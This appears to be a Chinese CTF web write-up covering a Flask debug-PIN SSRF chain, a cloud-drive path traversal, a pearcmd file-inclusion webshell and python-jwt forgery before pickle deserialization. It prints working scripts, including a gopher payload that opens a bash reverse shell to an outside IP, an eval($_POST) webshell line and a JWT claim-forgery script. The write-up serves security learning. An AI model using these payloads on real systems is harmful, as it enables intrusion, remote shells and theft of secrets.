drwxrwxrwt 1 root root 6 Oct 22 15:23 tmp
drwxr-xr-x 1 root root 19 Nov 22 2021 usr
drwxr-xr-x 1 root root 17 Oct 19 15:49 var

那么通过file伪协议去读取文件?url=file://127.0.0.1/app.py&lolita[]=1

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request, session, render_template, render_template_string
import os, base64
#from NeepuF1Le import neepu_files

app = Flask(__name__)

app.config['SECRET_KEY'] = '******'
@app.route('/')
def welcome():
if session["islogin"] == True:
return "flag{***********************}"




app.run('0.0.0.0', 1314, debug=True)1

可以看到我们要么能获取key伪造session 但是同时我们还得有地方去调用这个welcome函数才行

仔细观察它的debug是开启的 并且我们还可以读文件 那么一眼就知道是要去算pin码然后rce了 前面的内容只是噱头

计算pin码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import hashlib
from itertools import chain

probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/dist-packages/flask/app.py' # 报错得到
]

private_bits = [
'112581235869047', # /sys/class/net/eth0/address 十进制
'8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-97ec80f5ebf7d07c5c79a4b57dd84c58bb32c866b6e3aed76ef252d246a07dc3.scope'
#8cab9c97-85be-4fb4-9d17-29335d7b2b8a
#docker-97ec80f5ebf7d07c5c79a4b57dd84c58bb32c866b6e3aed76ef252d246a07dc3.scope
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]


# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

这里关于/proc/self/cgroup这里的内容和我们一般做题时获取的不太一样 不过记住一点就行了

取第一行的最后一个斜杠/后面的所有字符串那么肯定是对的

计算得pin码 397-838-235

接下来的思路就是 要通过gopher协议去访问内网中/console路由并且进行RCE

但是由于debugmode的rce需要携带cookie 所以我们还需要去计算cookie

因为/console是在内网的1314端口中 所以我们没法直接通过浏览器进入debug的控制台

这里就需要手算cookie了

方法参考:flask-pin 神![SCTF2023 Web WriteUp - Boogiepop Doesn’t Laugh](https://boogipop.com/2023/06/20/SCTF2023 Web WriteUp/)

发送验证pin码的请求

1
GET /?__debugger__=yes&cmd=pinauth&pin=397-838-235&s=hCYJBiBvCDHEJqflrGtk

需要拿到s 直接访问/console 可以在源代码中拿到

img

然后记得编码打入?url=http://127.0.0.1:1314/console?__debugger__=yes&cmd=pinauth&pin=397-838-235&s=hCYJBiBvCDHEJqflrGtk&lolita[]=1 验证pin码计算正确的

img

然后我们要进行rce还需要携带cookie

第一种方式 脚本计算

需要计算cookie 这里直接用到一个现成的脚本:GitHub - WiIs0n/Flask-cookie-generation-based-on-PIN-code: This script generates a Cookie based on a legitimate PIN code.

同时可以计算出pin和cookie

img

第二种方式gopher发包

利用gopher协议发包 通过返回包获取到cookie

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import urllib
import urllib.parse
import urllib.request

def PAYLOAD(s,cmd,host,pin):

poc = f"""GET /console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
"""

new_poc = urllib.parse.quote(poc).replace('%0A','%0D%0A')
res = f'gopher://{host}/_' + new_poc
print(res)
return urllib.parse.quote(res)


cmd = "pinauth"
s= "hCYJBiBvCDHEJqflrGtk"
host="127.0.0.1:1314"
#cookie = "__wzdaa31f34934bb24e966f6=1698068595|d4af8efd2a4d"
pin = "397-838-235"

a = PAYLOAD(s,cmd,host,pin)
print(a)

可见我们通过脚本计算出来的 cookie也是正确的

img

计算出cookie之后就不用携带pin了 携带cookie直接rce即可

直接反弹shell 记得url编码一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import urllib
import urllib.parse
import urllib.request

def PAYLOAD(s,cmd,host,cookie):

poc = f"""GET /console?&__debugger__=yes&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
Cookie: {cookie}
"""

new_poc = urllib.parse.quote(poc).replace('%0A','%0D%0A')
res = f'gopher://{host}/_' + new_poc
print(res)
return urllib.parse.quote(res)


cmd = '__import__(%22os%22).popen(%22bash%20-c%20%5C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F8.130.34.53%2F7777%20%3C%261%5C%22%22)'
s= "hCYJBiBvCDHEJqflrGtk"
host="127.0.0.1:1314"
cookie = "__wzd41acf1cefa50cf0ead64=1698485090|9b48530259cc"
pin = "397-838-235"

a = PAYLOAD(s,cmd,host,cookie)
print(a)

img

成功!!!

img

NextDrive

最折磨出题人的一集

趣味题目

一个模拟百度网盘的题目

首先申请一个账号然后登录

根据提示

Hint2: 你知道秒传的原理吗?

那么首先了解一下秒传的原理

img

在公共资源区能找到test.res.http文件

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
content-type: application/json; charset=utf-8
content-length: 50
date: Tue, 06 Oct 2023 13:39:21 GMT
connection: keep-alive
keep-alive: timeout=5

{"code":0,"msg":"success","logged":true,"data":[{"name":"すずめ feat.十明 - RADWIMPS,十明.flac","hash":"5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc","size":27471829,"uploader":"admin","uploader_uid":"100000","shareTime":1698486253740,"isYours":true,"isOwn":true,"ownFn":"すずめ feat.十明 - RADWIMPS,十明.flac"},{"name":"Windows 12 Concept.png","hash":"469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900","size":440707,"uploader":"admin","uploader_uid":"100000","shareTime":1698486256209,"isYours":true,"isOwn":true,"ownFn":"Windows 12 Concept.png"},{"name":"信息安全技术信息安全事件分类分级指南.pdf","hash":"03dff115bc0d6907752796fc808fe2ef0b4ea9049b5a92859fd7017d4e96c08f","size":330767,"uploader":"admin","uploader_uid":"100000","shareTime":1698486256242,"isYours":true,"isOwn":true,"ownFn":"信息安全技术信息安全事件分类分级指南.pdf"},{"name":"不限速,就是快!.jpg","hash":"2de8696b9047f5cf270f77f4f00756be985ebc4783f3c553a77c20756bc68f2e","size":32920,"uploader":"admin","uploader_uid":"100000","shareTime":1698486256280,"isYours":true,"isOwn":true,"ownFn":"不限速,就是快!.jpg"},{"name":"test.req.http","hash":"09228aabeb472316022cedd3f1a76930558f0ea489bd65b32ba743e499b74182","size":1085,"uploader":"admin","uploader_uid":"100000","shareTime":1698486259714,"isYours":true,"isOwn":true,"ownFn":"test.req.http"}]}

可以看到是发包数据包

注意到还有一个test.req.http上传了但是文件没有显示出来

1
{"name":"test.req.http","hash":"09228aabeb472316022cedd3f1a76930558f0ea489bd65b32ba743e499b74182","size":1085,"uploader":"admin","uploader_uid":"100000","shareTime":1698486259714,"isYours":true,"isOwn":true,"ownFn":"test.req.http"}

所以我们可以利用秒传的原理随便上传一个文件 下载时替换test.req.http的哈希值 那么就可以将test.req.http文件下载下来了

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /api/info/drive/sharezone HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: uid=100000; token=eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoiMTAwMDAwIiwidG9rZW4iOiI5ODRkMTIyMDQ5YmExNTM2MmYzNTEyZWYyNmE5YzUyMGY2NzBiYzNjYjJiMzhiODRhZWU0NzAzNDAwMzg2MWM3In0uCQ9dVhxMfi1WChcEdxJoYQ.TA1XZ2MKFgcQRRRmW18PDEAJUmBgDURXEUFFMAwJWloQXVIybl9BUkFBFTVbC1YOQgxWZmVcFldHQRZnWgMLUkJdVmZnW0lUTBNPMFsOVwlGClY2YlZCVEFARjVRCwtTQ11Wb2ZcSVJCE09iWlgIXUxcUDQyXBUHRkBPY1gDWF8
Host: localhost:21920
Origin: http://localhost:21920
Pragma: no-cache
Referer: http://localhost:21920/sharezone
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
sec-ch-ua: "Microsoft Edge";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

那么我们就拿到了admin的token了 然后替换token伪造身份

又多了点文件 不过重要的是share.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const Router = require("koa-router");
const router = new Router();
const CONFIG = require("../../runtime.config.json");
const Res = require("../../components/utils/response");
const FileSignUtil = require("../../components/utils/file-signature");
const { DriveUtil } = require("../../components/utils/database.utilities");
const fs = require("fs");
const path = require("path");
const { verifySession } = require("../../components/utils/session");
const logger = global.logger;

/**
* @deprecated
* ! FIXME: 发现漏洞,请进行修改
*/
router.get("/s/:hashfn", async (ctx, next) => {
const hash_fn = String(ctx.params.hashfn || '')
const hash = hash_fn.slice(0, 64)
const from_uid = ctx.query.from_uid
const custom_fn = ctx.query.fn

// 参数校验
if (typeof hash_fn !== "string" || typeof from_uid !== "string") {
// invalid params or query
ctx.set("X-Error-Reason", "Invalid Params");
ctx.status = 400; // Bad Request
return ctx.res.end();
}

// 是否为共享的文件
let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid)
if (!IS_FILE_EXIST) {
ctx.set("X-Error-Reason", "File Not Found");
ctx.status = 404; // Not Found
return ctx.res.end();
}

// 系统中是否存储有该文件


if (!IS_FILE_EXIST_IN_STORAGE) {
logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
ctx.set("X-Error-Reason", "Internal Server Error");
ctx.status = 500; // Internal Server Error
return ctx.res.end();
}

// 文件名处理
let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash));
filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_")

// 发送
ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);
// ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))
await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => {
logger.error(`Error while sending file ${hash_fn.yellow}`)
logger.error(e)
ctx.status = 500; // Internal Server Error
return ctx.res.end();
})
})

module.exports = router;

这里就稍稍寄了 由于js题目做的少 看js代码逻辑很吃力 最后还是折磨出题师傅出的qwq

hash_fn是整个文件的hash

hash取了hash_fn前64个字符校验是否是分享的文件 如果是则会将文件内容读出来

但是问题出在了

1
2
3
4
5
6
7
8
9
let IS_FILE_EXIST_IN_STORAGE
try {
IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(
, hash_fn))
} catch (e) {
ctx.set("X-Error-Reason", "Internal Server Error");
ctx.status = 500; // Internal Server Error
return ctx.res.end();
}

它校验时是否为分享文件取的是hash 但是读文件是通过hash_fn

那么我们可以让前64个hash值为任意分享的文件hash值 之后的内容为../../../../../proc/self/environ 就可以将内容读出来

payload:/s/任意分享文件的hash值/../../../../../proc/self/environ?from_uid=100000&fn=/proc/self/environ 记得要url编码 不然会混淆导致重定向到主页/(ㄒoㄒ)/~~

4-复盘(未解出)

原来这个题考pearcmd啊🤔 跟着官方wp学习

index.php关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php 
if (isset($_GET['page'])) {
$page ='pages/' .$_GET['page'].'.php';

}else{
$page = 'pages/dashboard.php';
}
if (file_exists($page)) {
require_once $page;
}else{
require_once 'pages/error_page.php';
}
?>

存在文件包含 然后就直接payload🤔🤔

1
/index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[x])?>+/var/www/html/1.php

之后是一个suid提权 gzip的

img

🤔🤔

Ye’s Pickle(未解出)

找到原题了 不敢实践。。。rz 原题是祥云杯2022 的FunWEB

考点:

  • jwt伪造
  • pickle反序列化

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)

def generate_random_string(length=16):
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
payload=request.args.get("token")
if payload:
token=verify_jwt(payload, key, ['PS256'])
session["role"]=token[1]['role']
return render_template('index.html')
else:
session["role"]="guest"
user={"username":"boogipop","role":"guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
return render_template('index.html',token=jwt)

@app.route("/pickle")
def unser():
if session["role"]=="admin":
pickle.loads(base64.b64decode(request.args.get("pickle")))
return render_template("index.html")
else:
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

简单审计 可以看到我们的role为admin时 我们才能进行pickle反序列化利用

题中鉴权是靠jwt来实现的 那么生成过程是

如果get获取到token 那么jwt中session["role"]就为我们输入token的role

如果token为空 那么他会帮我自动生成jwt 并且将session["role"]初始化为guest

然后是jwt crack的一个新出的漏洞 这里jwt加密是靠rsa加密

利用这个脚本 可以不需要公私钥就可以伪造jwt

项目地址:

https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9

简单修改一下 把里面改为parsed_payload['role'] = 'admin' 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
#from test.common import generated_keys
#from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = 'admin'
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
token='eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg3NzA4MzAsImlhdCI6MTY5ODc2NzIzMCwianRpIjoiaVNzT2pQOVlLZ1NOUHVqYU5wYWkyQSIsIm5iZiI6MTY5ODc2NzIzMCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.WxTnJPgzKgjBYQ8HB8Ny5W4ZLNpsjAKsikMXHhtIQ-e5MiJp8jSt7AwKcuGsrqsFlTYeJLuGyLaxGGC29PAsKS8SVM82BG0W79nK35mp4aLXIEjer-cRT4GO8LX-WVZ0rRJZuv2Pe8ETPi8Rz0UahtmPYm7BbuvQ3XOudkb--wdcUrSIm2354RvaISRA7Z4a8VuP77VgkBIFNoebO_3c2wTO_w79-hTqg-JbUJqagqeFj5ptroo1SiYHpy2u2zUPKNqEeC6kcKwkZQWNUBGY4BuceLuoGBs9x2DWkAAsgrMC9PcUJ-8zzNFaZF22KxGgiLBv2pjR7HneVrF0Utx4gA'
payload = topic(token)
print(payload)

之后就是一个很简单的pickle反序列化了 不再赘述

结尾

一起共勉

img

本文最后更新于 天前,文中所描述的信息可能已发生改变